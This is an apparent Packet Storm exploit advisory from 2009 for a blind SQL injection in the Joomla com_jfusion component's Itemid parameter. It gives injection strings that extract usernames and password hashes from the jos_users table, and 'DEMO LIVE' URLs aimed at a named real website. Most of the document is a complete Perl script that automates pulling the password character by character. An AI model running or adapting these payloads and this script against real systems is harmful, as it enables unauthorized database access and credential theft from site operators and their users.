Joomla JFusion Blind SQL Injection

2009-08-05T00:00:00
ID PACKETSTORM:79982
Type packetstorm
Reporter Chip D3 Bi0s
Modified 2009-08-05T00:00:00

Description

                                        
                                            `++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
Joomla Component com_jfusion (Itemid) Blind SQL-injection Vulnerability  
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
  
  
###################################################  
[+] Author : Chip D3 Bi0s  
[+] Email : chipdebios[alt+64]gmail.com  
[+] Vulnerability : Blind SQL injection   
  
###################################################  
  
  
Example:  
http://localHost/path/index.php?option=com_jfusion&Itemid=n[Sql Code]  
n:valid Itemid  
  
Sql code:  
+and+(select+substring(concat(1,password),1,1)+from+jos_users+limit+0,1)=1/*  
+and+(select+substring(concat(1,username),1,1)+from+jos_users+limit+0,1)=1/*  
  
etc, etc...  
  
DEMO LIVE:  
http://www.cd7.com.ec/index.php?option=com_jfusion&Itemid=66+and+(select+substring(concat(1,username),1,1)+from+jos_users+limit+0,1)=1  
  
  
http://www.cd7.com.ec/index.php?option=com_jfusion&Itemid=66+and+ascii(substring((SELECT+concat(password,0x3a,username)+from+jos_users+limit+0,1),1,1))=97  
!False ¡¡¡¡  
  
http://www.cd7.com.ec/index.php?option=com_jfusion&Itemid=66+and+ascii(substring((SELECT+concat(password,0x3a,username)+from+jos_users+limit+0,1),1,1))=98  
¡True ¡¡¡¡  
  
etc, etc....  
  
I let a script that could save this job::example use  
Note:  
Itemid: valid for the Web  
coincidencia : seen in 1 = 1 and not 1 !=  
  
  
  
http://wwww.host.org/Path : http://www.cd7.com.ec/  
[-] Introduce Itemid : 66  
[-] Introduce coincidencia : http://www.cd7.com.ec/forum/  
  
+++++++++++++++++++++++++++++++++++++++  
#[!] Produced in South America  
+++++++++++++++++++++++++++++++++++++++  
  
  
#!/usr/bin/perl -w  
use LWP::UserAgent;  
use Benchmark;  
my $t1 = new Benchmark;  
  
  
print "\t\t-------------------------------------------------------------\n\n";  
print "\t\t | Chip d3 Bi0s | \n\n";  
print "\t\t Joomla Component com_jfusion (Itemid) Blind SQL-injection \n\n";  
print "\t\t-------------------------------------------------------------\n\n";  
  
  
print "http://wwww.host.org/Path : ";chomp(my $target=<STDIN>);  
print " [-] Introduce Itemid : ";chomp($z=<STDIN>);  
print " [-] Introduce coincidencia : ";chomp($w=<STDIN>);  
  
  
$column_name="concat(password)";  
$table_name="jos_users";  
  
  
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";  
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');  
  
print "----------------Inyectando----------------\n";  
  
#es Vulnerable?  
$host = $target . "/index.php?option=com_jfusion&Itemid=".$z."+and+1=1";  
my $res = $b->request(HTTP::Request->new(GET=>$host)); my $content = $res->content; my $regexp = $w;  
if ($content =~ /$regexp/) {  
  
$host = $target . "/index.php?option=com_jfusion&Itemid=".$z."+and+1=2";  
my $res = $b->request(HTTP::Request->new(GET=>$host)); my $content = $res->content; my $regexp = $w;  
if ($content =~ /$regexp/) {print " [-] Exploit Fallo :(\n";}  
  
else  
  
{print " [-] Vulnerable :)\n";  
  
for ($x=1;$x<=32;$x++)   
{  
  
$host = $target . "/index.php?option=com_jfusion&Itemid=".$z."+and+ascii(substring((SELECT+".$column_name."+from+".$table_name."+limit+0,1),".$x.",1))>57";  
my $res = $b->request(HTTP::Request->new(GET=>$host)); my $content = $res->content; my $regexp = $w;  
print " [!] ";if($x <= 9 ) {print "0$x";}else{print $x;}#para alininear 0..9 con los 10-32  
  
if ($content =~ /$regexp/)  
{  
  
for ($c=97;$c<=102;$c++)   
  
{  
$host = $target . "/index.php?option=com_jfusion&Itemid=".$z."+and+ascii(substring((SELECT+".$column_name."+from+".$table_name."+limit+0,1),".$x.",1))=".$c." ";  
my $res = $b->request(HTTP::Request->new(GET=>$host));  
my $content = $res->content;  
my $regexp = $w;  
  
  
if ($content =~ /$regexp/) {$char=chr($c); $caracter[$x-1]=chr($c); print "-Caracter: $char\n"; $c=102;}  
}  
  
  
}  
else  
{  
  
for ($c=48;$c<=57;$c++)   
  
{  
$host = $target . "/index.php?option=com_jfusion&Itemid=".$z."+and+ascii(substring((SELECT+".$column_name."+from+".$table_name."+limit+0,1),".$x.",1))=".$c." ";  
my $res = $b->request(HTTP::Request->new(GET=>$host));  
my $content = $res->content;  
my $regexp = $w;  
  
if ($content =~ /$regexp/) {$char=chr($c); $caracter[$x-1]=chr($c); print "-Caracter: $char\n"; $c=57;}  
}  
  
  
}  
  
}  
print " [+] Password :"." ".join('', @caracter) . "\n";  
my $t2 = new Benchmark;  
my $tt = timediff($t2, $t1);  
print "El script tomo:",timestr($tt),"\n";  
  
}  
}  
  
else  
  
{print " [-] Exploit Fallo :(\n";}  
  
  
  
`